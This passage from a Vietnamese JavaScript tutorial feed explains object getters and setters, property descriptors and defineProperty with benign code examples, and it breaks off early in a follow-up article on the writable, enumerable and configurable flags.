punctuation">{</span> <span class="token comment">// code gán giá trị value cho obj.propName</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Hàm getter <code>obj.propName()</code> được dùng để <strong>đọc giá trị</strong> của thuộc tính. Và hàm setter <code>obj.propName(value)</code> dùng để <strong>gán giá trị</strong> cho thuộc tính.</p> <p>Ví dụ tiếp theo, giả sử đối tượng <code>user</code> có hai thuộc tính là <code>name</code> và <code>surname</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">surname</span><span class="token operator">:</span> <span class="token string">"Walsh"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Và bạn cần thêm thuộc tính <code>fullName</code> với giá trị là <code>"David Walsh"</code>.</p> <p>Nếu bạn không muốn <strong>copy-paste</strong> lại giá trị <code>name</code> và <code>surname</code> trên thì có thể viết hàm getter như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">surname</span><span class="token operator">:</span> <span class="token string">"Walsh"</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">get</span> <span class="token function">fullName</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>surname<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>fullName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// David Walsh</span></span></code></pre></div> <p>Rõ ràng, <code>fullName</code> được viết như một phương thức, nhưng cách sử dụng <code>user.fullName</code> thì lại giống việc <strong>truy cập giá trị</strong> của thuộc tính trong object.</p> <p>Trong ví dụ trên, <code>fullName</code> đang chỉ là hàm <strong>getter</strong>. Do đó, nếu bạn gán giá trị cho <code>fullName</code> thì sẽ có lỗi:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="gatsby-highlight-code-line"><span class="token string">"use strict"</span><span class="token punctuation">;</span></span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">surname</span><span class="token operator">:</span> <span class="token string">"Walsh"</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">get</span> <span class="token function">fullName</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>surname<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">user<span class="token punctuation">.</span>fullName <span class="token operator">=</span> <span class="token string">"Lam Pham"</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token comment">// Cannot set property fullName of #&lt;Object> which has only a getter</span></span></code></pre></div> <blockquote> <p><strong>Chú ý:</strong> lỗi trên chỉ được in ra khi chạy code ở <a href="/use-strict-trong-js/">strict mode</a>.</p> </blockquote> <p>Để tránh lỗi trên, bạn cần viết thêm hàm <strong>setter</strong> cho <code>fullName</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">surname</span><span class="token operator">:</span> <span class="token string">"Walsh"</span><span class="token punctuation">,</span> <span class="token keyword">get</span> <span class="token function">fullName</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>surname<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">set</span> <span class="token function">fullName</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>surname<span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">user<span class="token punctuation">.</span>fullName <span class="token operator">=</span> <span class="token string">"Lam Pham"</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>fullName<span class="token punctuation">)</span><span class="token punctuation">;</span></span></code></pre></div> <p>Với cách triển khai như trên, đối tượng <code>user</code> đã có thêm một <strong>thuộc tính ảo</strong> là <code>fullName</code>.</p> <h2 id="đối-tượng-mô-tả-thuộc-tính-cho-getter-và-setter" style="position:relative;"><a href="#%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-m%C3%B4-t%E1%BA%A3-thu%E1%BB%99c-t%C3%ADnh-cho-getter-v%C3%A0-setter" aria-label="đối tượng mô tả thuộc tính cho getter và setter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Đối tượng mô tả thuộc tính cho getter và setter</h2> <p>Mỗi thuộc tính của object trong JavaScript đều có một <strong>đối tượng mô tả thuộc tính</strong>, bao gồm giá trị <code>value</code> và các cờ là <a href="/writable-enumerable-configurable-object-trong-javascript/">writable/enumerable/configurable</a>.</p> <p>Nhưng với getter trong JavaScript và setter trong JavaScript thì khác.</p> <p>Đối tượng mô tả thuộc tính cho getter và setter không có giá trị <code>value</code> và cờ <code>writable</code>, thay vào đó là hai phương thức <code>get</code> và <code>set</code>, cụ thể là:</p> <ul> <li><code>get</code>: hàm không có tham số, được dùng khi <strong>đọc giá trị</strong> của thuộc tính.</li> <li><code>set</code>: hàm có một tham số, được dùng để <strong>gán giá trị</strong> cho thuộc tính.</li> <li><code>enumerable</code>: giống như thuộc tính thông thường.</li> <li><code>configurable</code>: giống như thuộc tính thông thường.</li> </ul> <p>Ví dụ tạo getter và setter cho <code>user.fullName</code> với phương thức <code>defineProperty</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">surname</span><span class="token operator">:</span> <span class="token string">"Walsh"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token string">"fullName"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>surname<span class="token interpolation-punctuation punctuation">}</span></span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token function">set</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">[</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>surname<span class="token punctuation">]</span> <span class="token operator">=</span> value<span class="token punctuation">.</span><span class="token function">split</span><span class="token punctuation">(</span><span class="token string">" "</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>fullName<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// David Walsh</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> key <span class="token keyword">in</span> user<span class="token punctuation">)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// name, surname</span></code></pre></div> <p><strong>Chú ý:</strong> một thuộc tính trong object có thể là <strong>getter/setter</strong> hoặc là <strong>thuộc tính bình thường</strong>, nhưng không được phép tồn tại cả hai.</p> <p>Nói cách khác, nếu bạn định nghĩa cả hàm <code>get/set</code> và thuộc tính <code>value</code> trong cùng một <strong>đối tượng mô tả thuộc tính</strong> thì sẽ có lỗi:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span><span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token string">"prop"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">5</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi:</span> <span class="token comment">// Invalid property descriptor.</span> <span class="token comment">// Cannot both specify accessors and a value or writable attribute, #&lt;Object></span></code></pre></div> <h2 id="ứng-dụng-của-getter-và-setter" style="position:relative;"><a href="#%E1%BB%A9ng-d%E1%BB%A5ng-c%E1%BB%A7a-getter-v%C3%A0-setter" aria-label="ứng dụng của getter và setter permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Ứng dụng của getter và setter</h2> <p>Getter trong JavaScript và setter trong JavaScript có thể dùng làm "wrapper" cho thuộc tính.</p> <p>Ví dụ, bạn muốn chặn việc <strong>gán giá trị quá ngắn</strong> cho tên của <code>user</code>. Bạn có thể viết hàm setter <code>user.name</code> và lưu giá trị thật vào thuộc tính <code>user._name</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token keyword">get</span> <span class="token function">name</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_name<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token keyword">set</span> <span class="token function">name</span><span class="token punctuation">(</span><span class="token parameter">value</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>value<span class="token punctuation">.</span>length <span class="token operator">&lt;</span> <span class="token number">4</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"Tên quá ngắn, tối thiểu là 4 chữ cái."</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">this</span><span class="token punctuation">.</span>_name <span class="token operator">=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> user<span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">"Alex"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>user<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span> user<span class="token punctuation">.</span>name <span class="token operator">=</span> <span class="token string">""</span><span class="token punctuation">;</span> <span class="token comment">// Tên quá ngắn, tối thiểu là 4 chữ cái.</span></code></pre></div> <p>Trong ví dụ trên, tên của <code>user</code> được <strong>lưu thật sự</strong> trong thuộc tính <code>user._name</code>, còn việc truy cập vào tên thì <strong>thông qua getter và setter</strong> <code>user.name</code>.</p> <p>Thực tế, bạn có thể <strong>truy cập trực tiếp</strong> vào thuộc tính <code>user._name</code>. Tuy nhiên, cách viết thuộc tính <strong>bắt đầu bằng dấu gạch dưới</strong> là một quy ước ngầm rằng, thuộc tính <code>user._name</code> là <strong>private</strong> và không nên truy cập trực tiếp từ bên ngoài.</p> <h2 id="sử-dụng-getter-và-setter-giúp-tương-thích-ngược" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-getter-v%C3%A0-setter-gi%C3%BAp-t%C6%B0%C6%A1ng-th%C3%ADch-ng%C6%B0%E1%BB%A3c" aria-label="sử dụng getter và setter giúp tương thích ngược permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng getter và setter giúp tương thích ngược</h2> <p>Lợi ích lớn nhất của việc dùng getter và setter trong JavaScript là cách sử dụng giống như thuộc tính thông thường. Nghĩa là bạn có thể <strong>biến thuộc tính thông thường thành getter/setter</strong> bất kỳ lúc nào.</p> <p>Ví dụ bạn có đối tượng <code>user</code> với hai thuộc tính là <code>name</code> và <code>age</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">User</span><span class="token punctuation">(</span><span class="token parameter">name<span class="token punctuation">,</span> age</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>age <span class="token operator">=</span> age<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> alex <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token number">28</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>alex<span class="token punctuation">.</span>age<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 28</span></code></pre></div> <p>Nhưng sau đó, bạn quyết định thay đổi. Và bạn muốn lưu thông tin <code>birthday</code> thay vì <code>age</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">User</span><span class="token punctuation">(</span><span class="token parameter">name<span class="token punctuation">,</span> birthday</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>birthday <span class="token operator">=</span> birthday<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> alex <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">1993</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chuyện gì sẽ xảy ra với những code cũ - đang sử dụng thuộc tính <code>age</code>?</strong></p> <p>Bạn có thể <strong>tìm tất cả</strong> những chỗ có sử dụng <code>user.age</code> để sửa lại cho đúng. Tuy nhiên, nếu code của bạn được sử dụng bởi nhiều người và ở nhiều nơi khác nhau thì cách làm trên là <strong>bất khả thi</strong>.</p> <p>Cách đơn giản để giải quyết vấn đề trên là biến thuộc tính <code>age</code> thành <strong>getter/setter</strong> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">User</span><span class="token punctuation">(</span><span class="token parameter">name<span class="token punctuation">,</span> birthday</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>birthday <span class="token operator">=</span> birthday<span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token comment">// tính toán age dựa trên birthday và năm hiện tại</span></span><span class="gatsby-highlight-code-line"> Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">,</span> <span class="token string">"age"</span><span class="token punctuation">,</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token function">get</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">let</span> todayYear <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">getFullYear</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> todayYear <span class="token operator">-</span> <span class="token keyword">this</span><span class="token punctuation">.</span>birthday<span class="token punctuation">.</span><span class="token function">getFullYear</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">,</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"><span class="token punctuation">}</span></span> <span class="token keyword">let</span> alex <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">1993</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">,</span> <span class="token number">6</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>alex<span class="token punctuation">.</span>birthday<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Tue Jul 06 1993 00:00:00 GMT+0700 (Indochina Time)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>alex<span class="token punctuation">.</span>age<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 29</span></code></pre></div> <p>Với cách làm trên, code cũ đảm bảo là vẫn chạy như bình thường.</p> <p>Tham khảo: <a href="https://javascript.info/property-accessors">Property getters and setters</a>.</p>[email protected]<![CDATA[Thuộc tính writable, enumerable và configurable của object trong Javascript]]><![CDATA[Trong các bài viết trước, bạn mới chỉ biết thuộc tính của object trong JavaScript có dạng key-value. Thực tế thì thuộc tính trong object có nhiều tính chất khác nữa. Trong đó…]]>https://completejavascript.com/writable-enumerable-configurable-object-trong-javascript/https://completejavascript.com/writable-enumerable-configurable-object-trong-javascript/<![CDATA[Object]]><![CDATA[Kiểu dữ liệu]]>Thu, 22 Jun 2017 08:15:00 GMT<p>Trong các bài viết trước, bạn mới chỉ biết <a href="/object-la-gi-object-trong-javascript/">thuộc tính của object</a> trong JavaScript có dạng <strong>key-value</strong>. Thực tế thì thuộc tính trong object có nhiều tính chất khác nữa. Trong đó, <strong>writable, enumerable và configurable</strong> là những cờ quan trọng để cấu hình cho thuộc tính.</p> <h2 id="các-cờ-cho-thuộc-tính" style="position:relative;"><a href="#c%C3%A1c-c%E1%BB%9D-cho-thu%E1%BB%99c-t%C3%ADnh" aria-label="các cờ cho thuộc tính permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Các cờ cho thuộc tính</h2> <p>Writable, enumerable và configurable là <strong>ba cờ đặc biệt trong object</strong>, trong đó:</p> <ul> <li><code>writable</code>: nếu là <code>true</code> thì giá trị <code>value</code> của thuộc tính <strong>có thể thay đổi</strong>. Ngược lại, thuộc tính gọi là <strong>read-only</strong> (thuộc tính chỉ đọc).</li> <li><code>enumerable</code>: nếu là <code>true</code> thì thuộc tính xuất hiện trong <strong><a href="/vong-lap-trong-javascript/">vòng lặp</a></strong>, ngược lại thì không.</li> <li><code>configurable</code>: nếu là <code>true</code> thì <strong>thuộc tính có thể xóa</strong> và <strong>các cờ khác có thể thay đổi</strong>, ngược lại thì không.</li> </ul> <p>Khi bạn <strong>khởi tạo đối tượng theo cách thông thường</strong> thì các cờ này <strong>không xuất hiện</strong> và có giá trị mặc định là <code>true</code>.</p> <p>Để lấy thông tin của các cờ này, bạn có thể dùng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor"><code>Object.getOwnPropertyDescriptor</code></a> với cú pháp cơ bản là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> descriptor <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">getOwnPropertyDescriptor</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> propertyName<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>obj</code>: là object để lấy thông tin.</li> <li><code>propertyName</code>: tên của thuộc tính trong object cần lấy thông tin.</li> </ul> <p>Giá trị trả về của phương thức trên gọi là object <strong>property descriptor</strong> (tạm hiểu là "đối tượng mô tả thuộc tính") - chứa thông tin về <code>value</code> và các cờ <code>writable</code>, <code>enumerable</code>, <code>configurable</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> descriptor <span class="token operator">=</span> Object<span class="token punctuation">.</span><span class="token function">getOwnPropertyDescriptor</span><span class="token punctuation">(</span>user<span class="token punctuation">,</span> <span class="token string">"name"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token constant">JSON</span><span class="token punctuation">.</span><span class="token function">stringify</span><span class="token punctuation">(</span>descriptor<span class="token punctuation">,</span> <span class="token keyword">null</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* { "value": "Alex", "writable": true, "enumerable": true, "configurable": true } */</span></code></pre></div> <p>Để thay đổi giá trị của các cờ <code>writable</code>, <code>enumerable</code>, <code>configurable</code>, bạn có thể sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty"><code>Object.defineProperty</code></a> với cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Object<span class="token punctuation">.</span><span class="token function">defineProperty</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> propertyName<span class="token punctuation">,</span> descriptor<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li><code>obj</code>: là đối tượng cần thay đổi.</li> <li><code>propertyName</code>: tên của thuộc tính trong object cần thay đổi.</li> <li><code>descriptor</code>: object chứa thông tin "descriptor" mới để thay đổi.</li> </ul> <p>Nếu thuộc tính <code>propertyName</code> tồn tại thì phương thức trên sẽ <strong>cập nhật giá trị</strong> của các cờ theo <code>descriptor</code>, ngược lại thì tạo thuộc tính mới. Trong trường hợp một cờ nào đó không được cung cấp thì <strong>giá trị mặc định</strong> của cờ là <code>false</code>.</p> <p>Ví dụ sau tạo thuộc tính <code>name</code> với các cờ <code>writable</code>, <code>enumerable</code>, <code>configurable</code> đều là <code>false</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user 